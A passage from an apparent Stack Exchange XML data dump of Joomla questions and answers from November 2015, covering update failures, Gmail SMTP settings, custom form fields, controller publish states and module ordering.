rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Creating_content_using_JTableContent&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2015-11-03T11:38:11.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14173" PostTypeId="1" CreationDate="2015-11-03T13:58:50.163" Score="2" ViewCount="2302" Body="&lt;p&gt;I am using the German Joomla version 3.3.6 an wish to upgrade to 3.4.5, but in the backend my system says that I have the most recent version installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I go to &lt;strong&gt;Components &gt;&gt; Joomla Update &gt;&gt; Clear Cache&lt;/strong&gt;, I get the following output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TgtDK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TgtDK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I was trying to install Joomla 3.4.5 Update package via the Extensions Manager. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I first get the following dialog:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/M5n6b.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/M5n6b.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pushing the blue button does NOTHING.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="7203" LastEditorUserId="1629" LastEditDate="2015-11-03T21:10:54.560" LastActivityDate="2015-12-04T01:38:13.587" Title="Upgrade from 3.3.6 to 3.4.5 not possible" Tags="|joomla-3.x|upgrade|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14174" PostTypeId="2" ParentId="14173" CreationDate="2015-11-03T14:06:42.127" Score="2" Body="&lt;p&gt;In your Jomla backend, go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Components&lt;/strong&gt; (top menu) &gt;&gt; &lt;strong&gt;Joomla Update&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Clear Cache&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once done, there should be an update available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, you can download the &lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/download/3.4.5/Joomla_3.4.5-Stable-Update_Package.zip&quot; rel=&quot;nofollow&quot;&gt;Joomla 3.4.5 Update package&lt;/a&gt; and install it via the Extensions Manager like you would any other extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-11-03T14:06:42.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14175" PostTypeId="1" CreationDate="2015-11-03T17:30:27.387" Score="2" ViewCount="1189" Body="&lt;p&gt;I have added contact form for my Joomla 3.4.5 web site's contact page. All my mail settings in Configuration Manager are correct... But after submitting the message as a test intention, I get e-mail from Gmail that says&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;it has blocked a sign-in attempt by an application which does not complies with &lt;strong&gt;modern security standards&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;As a result, I get&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;SMTP connect() failed.&lt;/p&gt;&#xA;&lt;p&gt;SMTP connect() failed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;My configuration.php file contains those lines in the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;public $mailonline = '1';&#xA;public $mailer = 'smtp';&#xA;public $mailfrom = 'my_gmail_account@gmail.com';&#xA;public $fromname = 'FROM NAME';&#xA;public $sendmail = '/usr/sbin/sendmail';&#xA;public $smtpauth = '1';&#xA;public $smtpuser = 'my_gmail_account@gmail.com';&#xA;public $smtppass = 'my_gmail_account_password';&#xA;public $smtphost = 'smtp.gmail.com';&#xA;public $smtpsecure = 'ssl';&#xA;public $smtpport = '465';&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;PS: Authentication Gmail Plug-in is enabled.&lt;/p&gt;&#xA;" OwnerUserId="440" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-11-05T09:37:21.737" Title="Gmail blocks my contact form mail sending attempt" Tags="|joomla-3.4|configuration|smtp|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14176" PostTypeId="2" ParentId="14173" CreationDate="2015-11-03T21:25:49.907" Score="2" Body="&lt;p&gt;You can try enabling &lt;code&gt;fopen&lt;/code&gt; on your hosting account, if it isn't enabled. This is usually done by adding a file called &lt;code&gt;php.ini&lt;/code&gt; in your Joomla site's root, then add the following line inside it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;allow_url_fopen = on&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(some hosts have different methods to change php settings, e.g. GoDaddy requires the file to be called &lt;code&gt;php5.ini&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Check if &lt;code&gt;fopen&lt;/code&gt; has been enabled by going to &lt;strong&gt;System &amp;gt;&amp;gt; System Information&lt;/strong&gt;, then select the tab &lt;strong&gt;PHP Information&lt;/strong&gt; and look for &lt;code&gt;allow_url_fopen&lt;/code&gt;, it should say &lt;code&gt;On&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h2&gt;Other things to try:&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;strong&gt;System &amp;gt;&amp;gt; Clear cache&lt;/strong&gt;, select all Cache Groups (if any) and hit &amp;quot;Delete&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;strong&gt;Extensions &amp;gt;&amp;gt; Manage&lt;/strong&gt; and select &amp;quot;Update&amp;quot; from the left hand side menu. Click &amp;quot;Clear Cache&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;strong&gt;Components &amp;gt;&amp;gt; Joomla Update&lt;/strong&gt; and click &amp;quot;Clear Cache&amp;quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If everything fails, you can try uploading the update package (or even the full installation package) to your hosting account. Unpack it to your Joomla root directory, overwriting any existing files.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Remember to always make a complete backup of your site before updating.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-11-03T21:25:49.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14177" PostTypeId="2" ParentId="5703" CreationDate="2015-11-03T22:25:13.017" Score="4" Body="&lt;p&gt;As a third option, there is a &lt;strong&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/quick-logout&quot; rel=&quot;nofollow&quot;&gt;Quick Logout&lt;/a&gt;&lt;/strong&gt; component which adds a direct logout menu item in Joomla and will logout the users without the confirmation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also provides the option to set redirection to a desired page after logout.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-11-03T22:25:13.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14178" PostTypeId="2" ParentId="14155" CreationDate="2015-11-03T22:50:47.333" Score="2" Body="&lt;p&gt;Most likely there are external css or javascript files that are still linked through http. &#xA;Most browsers will stop loading &lt;a href=&quot;https://developer.mozilla.org/en/docs/Security/MixedContent&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;mixed content&lt;/strong&gt;&lt;/a&gt; and usually will throw warnings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question-comment on Richard's answer, usually it's not something you have to do in the configuration or the htaccess file to fix this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you have to do, is to open your browser console and check for the errors and warnings. If you can't find something obvious in the console, then you should start examining the source code of your site. Start from the header and try to spot any external assets files that are linked with &lt;code&gt;&quot;http://&quot;&lt;/code&gt; instead of &lt;code&gt;https://&lt;/code&gt; or having relative links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep going down to the body as well, as it's possible that http linked stuff might exist there as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After identifying those, you should find from where these files are getting called. It can be from the template, from modules, components etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some extensions may give the option to change the way they load external files. Others might not. &#xA;If you find any such extension, I would suggest to report this to its developer, in order to release an update with that will fix this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info on: &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Security/MixedContent/How_to_fix_website_with_mixed_content&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&quot;How to fix a website with mixed content&quot;&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-11-03T22:50:47.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14179" PostTypeId="1" AcceptedAnswerId="14180" CreationDate="2015-11-03T23:01:09.663" Score="1" ViewCount="528" Body="&lt;p&gt;I have a custom field called time which has the below coding.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.form.formfield');&#xA;jimport('joomla.form.helper');&#xA;JFormHelper::loadFieldClass('list');&#xA;&#xA;class JFormFieldTime extends JFormFieldList{&#xA;&#xA;  protected $type = 'time';&#xA;&#xA;  public function getOptions($id='') {&#xA;    //Do the process and return&#xA;    return $options;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above works perfect at back-end because I have XML forms for each views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question now is how to show the field in the front-end where I don't have XML forms because of custom designs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the below in my edit.php (front-end)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once JPATH_LIBRARIES.'/mylib/fields/time.php';&#xA;$timefield = JFormHelper::loadFieldType('time', false);&#xA;$timeslots=$timefield-&amp;gt;getOptions();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code gives all the options.  Is there a simple way to convert this to a select list box.  I know the hard way is to loop through and form the select box.  Just want to know is there any simpler way like JHTML::...&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-11-03T23:14:20.207" Title="Showing a custom field in front-end without a form" Tags="|joomla-3.x|front-end|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14180" PostTypeId="2" ParentId="14179" CreationDate="2015-11-03T23:14:20.207" Score="1" Body="&lt;p&gt;I found the solution as simple as below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('behavior.formvalidation');&#xA;JHtml::_('formbehavior.chosen', 'select');&#xA;&#xA;require_once JPATH_LIBRARIES.'/mylib/fields/time.php';&#xA;&#xA;$timefield = JFormHelper::loadFieldType('time', false);&#xA;$timeslots=$timefield-&amp;gt;getOptions();&#xA;&#xA;echo JHtmlSelect::genericlist($timeslots, &quot;note_start_time&quot;,null,'value','text',$start_time)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works cool.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-11-03T23:14:20.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14181" PostTypeId="1" AcceptedAnswerId="14197" CreationDate="2015-11-04T01:07:08.980" Score="2" ViewCount="336" Body="&lt;p&gt;I need the &gt;&gt; to be next and &amp;lt;&amp;lt; to be previous, where can I change that?&#xA;please see attached for clarity.&lt;a href=&quot;https://i.stack.imgur.com/jjzOE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jjzOE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did inspect but still cannot find it. Here is the rendering code but I can't find where to edit the buttons.                                                       `function pagination_list_render($list) {&#xA;    // Initialize variables&#xA;    $html = '';&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//if ($list['start']['active']==1)   $html .= $list['start']['data'];&#xA;if ($list['previous']['active']==1) $html .= $list['previous']['data'];&#xA;&#xA;//foreach ($list['pages'] as $page) {&#xA;//  $html .= $page['data'];&#xA;//}&#xA;&#xA;if ($list['next']['active']==1) $html .= $list['next']['data'];&#xA;//if ($list['end']['active']==1)  $html .= $list['end']['data'];&#xA;&#xA;$html .= &quot;&amp;lt;/ul&amp;gt;&quot;;&#xA;&#xA;return $html;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}` &#xA;Thank you&lt;/p&gt;&#xA;" OwnerUserId="7103" LastEditorUserId="7103" LastEditDate="2015-11-04T09:24:27.013" LastActivityDate="2015-11-05T15:44:50.153" Title="Change pagination image to text in Joomla 3" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14182" PostTypeId="1" CreationDate="2015-11-04T01:56:30.930" Score="1" ViewCount="86" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there any Joomla extension which can allow an end-user to upload a spreadsheet which can be viewed on the website running Joomla 3.4.1 as &lt;a href=&quot;http://www.acsf.cornell.edu/education/curricula/&quot; rel=&quot;nofollow&quot;&gt;http://www.acsf.cornell.edu/education/curricula/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If not, I understand there may be PHP libraries/parsers which can take spreadsheet as an input and display its contents. Which ones integrate well with Joomla? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7197" LastActivityDate="2015-11-11T20:09:33.660" Title="Joomla extension which can allow an end-user to upload a spreadsheet" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14184" PostTypeId="1" CreationDate="2015-11-04T09:56:48.220" Score="0" ViewCount="502" Body="&lt;p&gt;Trying permits users, the next problem arose me; I can access the backend with my super user keys, but not visualize when accessing the control panel of joomla, only information about users, but not allows me to save changes. The frontend is apparently correct.&#xA;I followed on a topic apparently the same but I can not solve the problem.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;After receiving diagnostic advice from @Lodder, I am generating the following errors:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Strict Standards: Only variables should be assigned by reference in /home/escuelas/public_html/plugins/system/optimizely4joomla/optimizely4joomla.php on line 22&lt;/p&gt;&#xA;&lt;p&gt;Strict Standards: Only variables should be assigned by reference in /home/escuelas/public_html/plugins/system/vwo4joomla/vwo4joomla.php on line 21&lt;/p&gt;&#xA;&lt;p&gt;Strict Standards: Only variables should be assigned by reference in /home/escuelas/public_html/plugins/content/simplepopup/simplepopup.php on line 42&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;SOLUTION:&lt;/p&gt;&#xA;&lt;p&gt;I finally solved the problem by restoring the backup of the database.&lt;/p&gt;&#xA;" OwnerUserId="7207" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2023-12-24T22:05:35.667" Title="I can't access the control panel in joomla 3.4" Tags="|joomla-3.4|administrator|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="14185" PostTypeId="2" ParentId="14184" CreationDate="2015-11-04T12:46:24.067" Score="-1" Body="&lt;p&gt;Ok, so we found out that you were seeing a blank page, which means that errors are being thrown but not being displayed. Having recommended enabling error reporting, it shows that you're getting strict standard errors which are not a big issue.&lt;/p&gt;&#xA;&lt;p&gt;You have 2 options:&lt;/p&gt;&#xA;&lt;h3&gt;Option 1:&lt;/h3&gt;&#xA;&lt;p&gt;In your &lt;em&gt;configuration.php&lt;/em&gt; file, set &lt;code&gt;$error_reporting&lt;/code&gt; to &lt;code&gt;none&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Option 2:&lt;/h3&gt;&#xA;&lt;p&gt;In you server's &lt;em&gt;php.ini&lt;/em&gt; (providing you have access to it), you will find something like this:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;error_reporting = E_ALL&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;which you can replace with this&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;error_reporting = E_ALL &amp;amp; ~E_NOTICE &amp;amp; ~E_STRICT&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-11-04T12:46:24.067" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14186" PostTypeId="1" AcceptedAnswerId="14189" CreationDate="2015-11-04T12:56:39.873" Score="1" ViewCount="3166" Body="&lt;p&gt;My main module seems to load last among other less important modules. &#xA;How can I make change the order of appearance of the modules on my site?&lt;/p&gt;&#xA;" OwnerUserId="5228" LastEditorUserId="126" LastEditDate="2015-11-04T22:17:28.813" LastActivityDate="2015-11-04T22:17:28.813" Title="How to change the modules order of appearance?" Tags="|module-display|" AnswerCount="1" CommentCount="2" ClosedDate="2015-11-15T12:34:55.840" ContentLicense="CC BY-SA 3.0" />
  <row Id="14187" PostTypeId="1" AcceptedAnswerId="14188" CreationDate="2015-11-04T15:41:59.723" Score="1" ViewCount="54" Body="&lt;p&gt;I'm extending my controller's publishing method for a task called &quot;setup&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the extended method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * publish function.&#xA; * &#xA; * @access public&#xA; * @return void&#xA; */&#xA;public function publish()&#xA;{&#xA;    $app      = JFactory::getApplication();&#xA;    $jinput   = JFactory::getApplication()-&amp;gt;input;&#xA;    $ids      = $jinput-&amp;gt;get('cid', '', 'array');&#xA;    $task     = $this-&amp;gt;getTask();&#xA;    $date     = JFactory::getDate();            &#xA;&#xA;    $modelitem  = $this-&amp;gt;getModel('Item');&#xA;    $tableitem  = JTable::getInstance('Item','BestiaTable');      &#xA;&#xA;    foreach($ids as $id)&#xA;    {&#xA;        $tableitem-&amp;gt;load($id);&#xA;&#xA;        switch($task)&#xA;        {&#xA;            case 'publish'  : $tableitem-&amp;gt;autorenew = 1;  &#xA;                              break;    &#xA;&#xA;            case 'unpublish': $tableitem-&amp;gt;autorenew = 1;&#xA;                              break;&#xA;&#xA;            case 'archive'  : $tableitem-&amp;gt;autorenew    = 0;&#xA;                              $tableitem-&amp;gt;terminatedon = $date-&amp;gt;toSql();     &#xA;                              break;&#xA;&#xA;            case 'trash'    : $tableitem-&amp;gt;autorenew    = 0;&#xA;                              $tableitem-&amp;gt;terminatedon = $date-&amp;gt;toSql();&#xA;                              $tableitem-&amp;gt;end          = $date-&amp;gt;toSql();&#xA;                              $tableitem-&amp;gt;overwriteend = 1;&#xA;&#xA;            case 'setup'    : $SetupHelper             = SetupHelper::getInstance();&#xA;                              $setupitem               = $SetupHelper-&amp;gt;setupItem($id);&#xA;                              if ($setupitem)&#xA;                              {&#xA;&#xA;                              }&#xA;                              else&#xA;                              {&#xA;                                  $app-&amp;gt;enqueueMessage(implode(&quot;, &quot;, $SetupHelper-&amp;gt;getErrors()), 'warning');          &#xA;                              }&#xA;                              break;&#xA;            break;&#xA;        }&#xA;&#xA;        $tableitem-&amp;gt;store();            &#xA;    }&#xA;&#xA;    $publish = parent::publish();&#xA;    $this-&amp;gt;setRedirect('index.php?option=com_bestia&amp;amp;view=items', false);&#xA;&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Okay - publishing and unpublishing works fine, but the setup-task which is started by a toolbar-button like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JToolbarHelper::custom('items.setup', 'cogs', '', 'Setup item', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Always changes the item's state to &lt;code&gt;0&lt;/code&gt; instead of &lt;code&gt;-1&lt;/code&gt; (which is the state for &quot;wait for setup&quot; or &lt;code&gt;1&lt;/code&gt; (which is the state for &quot;setup okay&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I change this behavior and tell the method which state to use?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastEditorUserId="168" LastEditDate="2015-11-04T16:18:00.623" LastActivityDate="2015-11-04T16:22:16.127" Title="State set to 0 after parent::publish" Tags="|development|controller|task|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14188" PostTypeId="2" ParentId="14187" CreationDate="2015-11-04T16:22:16.127" Score="3" Body="&lt;p&gt;You are calling &lt;code&gt;parent::publish()&lt;/code&gt;. This method has an array which maps tasks to states (&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/legacy/controller/admin.php#L190&quot; rel=&quot;nofollow&quot;&gt;line 190&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array('publish' =&amp;gt; 1, 'unpublish' =&amp;gt; 0, 'archive' =&amp;gt; 2, 'trash' =&amp;gt; -2, 'report' =&amp;gt; -3);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then it gets the task (next line):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$task = $this-&amp;gt;getTask();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is &quot;setup&quot; in your case.&#xA;After that it tries to read the value of the task in the array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$value = JArrayHelper::getValue($data, $task, 0, 'int');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it won't find &quot;setup&quot; in that array. So the value is 0. That explains why your state changes to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't call parent::publish() if your task is &quot;setup&quot;. You could avoid that if you wrap that call like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if($task != &quot;setup&quot;)&#xA; {&#xA;     $publish                             =   parent::publish();&#xA; }&#xA; else&#xA; {&#xA;    // Check the code from JControllerAdmin how to set models state &#xA;    // e.g. $modelitem-&amp;gt;publish($id, -1); set a nice message and how to redirect&#xA;    // back to your list&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-11-04T16:22:16.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14189" PostTypeId="2" ParentId="14186" CreationDate="2015-11-04T18:08:06.013" Score="4" Body="&lt;p&gt;What I understand from your question, is that a specific module, which you would like to display it at higher position on the page, before other modules, it is displayed lower.&lt;/p&gt;&#xA;&lt;p&gt;Well, for this there are 2 main things to check.&lt;/p&gt;&#xA;&lt;h1&gt;1. Module's actual Position&lt;/h1&gt;&#xA;&lt;p&gt;The module position that the module is assigned to.&#xA;You must put it on a position that is higher in your template - actually at the position where you want it appear.&lt;/p&gt;&#xA;&lt;h1&gt;2. Module's order in the given position&lt;/h1&gt;&#xA;&lt;p&gt;Now, if you have more than 1 modules assigned to the same position, make sure you have set your desired order of appearance in Module Manager.&lt;/p&gt;&#xA;&lt;p&gt;For this:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Filter the modules list by position - selecting the position in question-&lt;/li&gt;&#xA;&lt;li&gt;Then order the modules by order.&lt;/li&gt;&#xA;&lt;li&gt;Drag up/down modules to set their order. Put your main order on Top.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oCr9w.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oCr9w.jpg&quot; alt=&quot;Module Manager - Setting Module's order for specific position&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-11-04T18:08:06.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14190" PostTypeId="1" AcceptedAnswerId="14191" CreationDate="2015-11-04T18:45:28.937" Score="0" ViewCount="92" Body="&lt;p&gt;I'm having a strange issue - No matter with what user I login in my front-end Joomla site (even administrator) and try to add an article and then press button 'publishing', I do not see any category to choose from, it is all blank. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/47Yuu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/47Yuu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7210" LastEditorUserId="1629" LastEditDate="2015-11-04T19:31:18.353" LastActivityDate="2015-11-24T04:32:25.230" Title="No category listed while publishing an article in front-end" Tags="|joomla-3.x|front-end|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14191" PostTypeId="2" ParentId="14190" CreationDate="2015-11-04T19:28:59.903" Score="1" Body="&lt;p&gt;As shown in the screenshot, it's not only the category drop-down, but all the drop-down elements (status, featured, access etc). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would guess that this might be a CSS issue with your template.&#xA;The only way to tell is by checking with the dev tools in your browser. &lt;strong&gt;Right click on the drop-down area&lt;/strong&gt;- choose &lt;strong&gt;&quot;Inspect Element&quot;&lt;/strong&gt; in and check for the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First see if there are any JS errors.  &lt;/li&gt;&#xA;&lt;li&gt;Try to identify in the source code, the content for these drop-downs, if it's there. &lt;/li&gt;&#xA;&lt;li&gt;Check the CSS rules that apply to the drop-downs and play with it, in order to give it more space.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;One quick way to see if it's Template related, you can change the front-end template - switch it to the default Protostar template and try again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the site is live and you don't want to make this change visible to everybody, create a new test article - assign it to a hidden menu item,   where only you will know, then assign to this menu item the Protostar template. and navigate there in the front-end and try to edit it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find out that it's the template that causes this, contact the template developer regarding this issue.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-11-04T19:28:59.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14193" PostTypeId="2" ParentId="14175" CreationDate="2015-11-04T23:26:53.327" Score="2" Body="&lt;p&gt;This issue is because Google have locked down their email system and require's apps to be authenticated first. With Joomla! this isn't possible at present, so you need to enable the 'less' secure option on your gmail account. See:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.google.com/accounts/answer/6010255?hl=en&quot; rel=&quot;nofollow&quot;&gt;https://support.google.com/accounts/answer/6010255?hl=en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once done, set SMTP Security to TLS and Port to: 25 with Authentication enabled. Note, these can be configured in the Joomla! Global configuration. No need to edit a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&#xA;Tony&lt;/p&gt;&#xA;" OwnerUserId="7212" LastActivityDate="2015-11-04T23:26:53.327" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14194" PostTypeId="1" CreationDate="2015-11-05T04:46:16.613" Score="1" ViewCount="100" Body="&lt;p&gt;Hi there is my client site, in which there is menu issue occurring on hover. The menu was doing well till yesterday but now when site viewer hover on menu item it hides.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site is &lt;a href=&quot;http://www.triptour.dk/&quot; rel=&quot;nofollow&quot;&gt;http://www.triptour.dk/&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="5195" LastEditorUserId="3650" LastEditDate="2016-03-06T21:37:06.023" LastActivityDate="2016-03-06T21:37:06.023" Title="Issue with menu on hover" Tags="|joomla-3.x|joomla-3.4|" AnswerCount="0" CommentCount="4" ClosedDate="2016-04-28T13:40:47.100" ContentLicense="CC BY-SA 3.0" />
